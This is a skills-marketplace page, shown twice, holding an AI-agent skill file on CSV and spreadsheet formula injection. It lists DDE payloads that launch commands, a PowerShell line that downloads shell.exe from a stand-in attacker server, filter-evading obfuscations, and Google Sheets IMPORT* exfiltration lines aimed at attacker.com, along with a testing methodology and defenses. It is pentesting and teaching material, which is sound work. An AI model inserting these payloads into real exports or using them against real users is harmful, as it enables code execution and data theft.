csv-formula-injection

Name: csv-formula-injection
Author: Prohao42

91stars8forks

How to install csv-formula-injection?

prohao42/aimy-skill/csv-formula-injection

$npx -y skills add Prohao42/aimy-skill --skill csv-formula-injection

Installs into the current project.

Summary

--- name: csv-formula-injection description: >- CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools. ---

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CSV Formula Injection
2
3	> AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
4
5	## 0. QUICK START
6
7	Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
8
9	```text
10	=
11	+
12	-
13	@
14	```
15
16	Test cells may look like:
17
18	```csv
19	name,value
20	test,=1+1
21	test,+1+1
22	test,-1+1
23	test,@SUM(1+1)
24	```
25
26	Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
27
28	---
29
30	## 1. DDE INJECTION (EXCEL / LIBREOFFICE)
31
32	Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
33
34	```text
35	DDE("cmd";"/C calc";"!A0")A0
36	```
37
38	```text
39	@SUM(1+1)*cmd\|' /C calc'!A0
40	```
41
42	```text
43	=2+5+cmd\|' /C calc'!A0
44	```
45
46	```text
47	=cmd\|' /C calc'!'A1'
48	```
49
50	PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
51
52	```text
53	=cmd\|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
54	```
55
56	---
57
58	## 2. OBFUSCATION
59
60	Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
61
62	```text
63	AAAA+BBBB-CCCC&"Hello"/12345&cmd\|'/c calc.exe'!A
64	```
65
66	Extra whitespace after `=`:
67
68	```text
69	= cmd\|'/c calc.exe'!A
70	```
71
72	Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
73
74	```text
75	= C m D \|'/c calc.exe'!A
76	```
77
78	`rundll32` style:
79
80	```text
81	=rundll32\|'URL.dll,OpenURL calc.exe'!A
82	```
83
84	---
85
86	## 3. GOOGLE SHEETS
87
88	If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
89
90	Data exfiltration / probe (replace URL with your authorized callback):
91
92	```text
93	=IMPORTXML("http://attacker.com/", "//a/@href")
94	```
95
96	Other high-risk imports:
97
98	```text
99	=IMPORTRANGE("spreadsheet_url", "range")
100	=IMPORTHTML("http://attacker.com/table", "table", 1)
101	=IMPORTFEED("http://attacker.com/feed.xml")
102	=IMPORTDATA("http://attacker.com/data.csv")
103	```
104
105	Document which function executed and what network side effects occurred.
106
107	---
108
109	## 4. TESTING METHODOLOGY
110
111	1. Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
112	2. Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
113	3. Inject formula prefixes — Start with benign arithmetic (`=1+1`, `+1+1`) to detect evaluation; escalate only per rules.
114	4. Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
115	5. Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.
116
117	Note: focus on the `user input -> export -> opened in spreadsheet software` chain.
118
119	---
120
121	## 5. DEFENSE
122
123	Application and export-layer mitigations:
124
125	- Prefix with single quote — In many spreadsheet apps, leading `'` forces text interpretation: `'=cmd\|...` displays literally.
126	- Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
127	- Strip or neutralize leading triggers — Remove or escape leading `=`, `+`, `-`, `@` (and Unicode lookalikes) at export time.
128	- CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
129	- User education — Do not enable external data / DDE without policy.
130
131	Example safe export transformation (conceptual):
132
133	```text
134	Input: =1+1
135	Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
136	```
137
138	Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.

People who liked this also viewed

6 picks

Type

csv-formula-injection

91stars8forks

View on GitHub

How to install csv-formula-injection?

prohao42/aimy-skill/csv-formula-injection

$npx -y skills add Prohao42/aimy-skill --skill csv-formula-injection

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: CSV Formula Injection
2
3	> AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
4
5	## 0. QUICK START
6
7	Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
8
9	```text
10	=
11	+
12	-
13	@
14	```
15
16	Test cells may look like:
17
18	```csv
19	name,value
20	test,=1+1
21	test,+1+1
22	test,-1+1
23	test,@SUM(1+1)
24	```
25
26	Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
27
28	---
29
30	## 1. DDE INJECTION (EXCEL / LIBREOFFICE)
31
32	Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
33
34	```text
35	DDE("cmd";"/C calc";"!A0")A0
36	```
37
38	```text
39	@SUM(1+1)*cmd\|' /C calc'!A0
40	```
41
42	```text
43	=2+5+cmd\|' /C calc'!A0
44	```
45
46	```text
47	=cmd\|' /C calc'!'A1'
48	```
49
50	PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
51
52	```text
53	=cmd\|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
54	```
55
56	---
57
58	## 2. OBFUSCATION
59
60	Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
61
62	```text
63	AAAA+BBBB-CCCC&"Hello"/12345&cmd\|'/c calc.exe'!A
64	```
65
66	Extra whitespace after `=`:
67
68	```text
69	= cmd\|'/c calc.exe'!A
70	```
71
72	Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
73
74	```text
75	= C m D \|'/c calc.exe'!A
76	```
77
78	`rundll32` style:
79
80	```text
81	=rundll32\|'URL.dll,OpenURL calc.exe'!A
82	```
83
84	---
85
86	## 3. GOOGLE SHEETS
87
88	If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
89
90	Data exfiltration / probe (replace URL with your authorized callback):
91
92	```text
93	=IMPORTXML("http://attacker.com/", "//a/@href")
94	```
95
96	Other high-risk imports:
97
98	```text
99	=IMPORTRANGE("spreadsheet_url", "range")
100	=IMPORTHTML("http://attacker.com/table", "table", 1)
101	=IMPORTFEED("http://attacker.com/feed.xml")
102	=IMPORTDATA("http://attacker.com/data.csv")
103	```
104
105	Document which function executed and what network side effects occurred.
106
107	---
108
109	## 4. TESTING METHODOLOGY
110
111	1. Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
112	2. Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
113	3. Inject formula prefixes — Start with benign arithmetic (`=1+1`, `+1+1`) to detect evaluation; escalate only per rules.
114	4. Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
115	5. Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.
116
117	Note: focus on the `user input -> export -> opened in spreadsheet software` chain.
118
119	---
120
121	## 5. DEFENSE
122
123	Application and export-layer mitigations:
124
125	- Prefix with single quote — In many spreadsheet apps, leading `'` forces text interpretation: `'=cmd\|...` displays literally.
126	- Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
127	- Strip or neutralize leading triggers — Remove or escape leading `=`, `+`, `-`, `@` (and Unicode lookalikes) at export time.
128	- CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
129	- User education — Do not enable external data / DDE without policy.
130
131	Example safe export transformation (conceptual):
132
133	```text
134	Input: =1+1
135	Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
136	```
137
138	Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.

People who liked this also viewed

6 picks

Type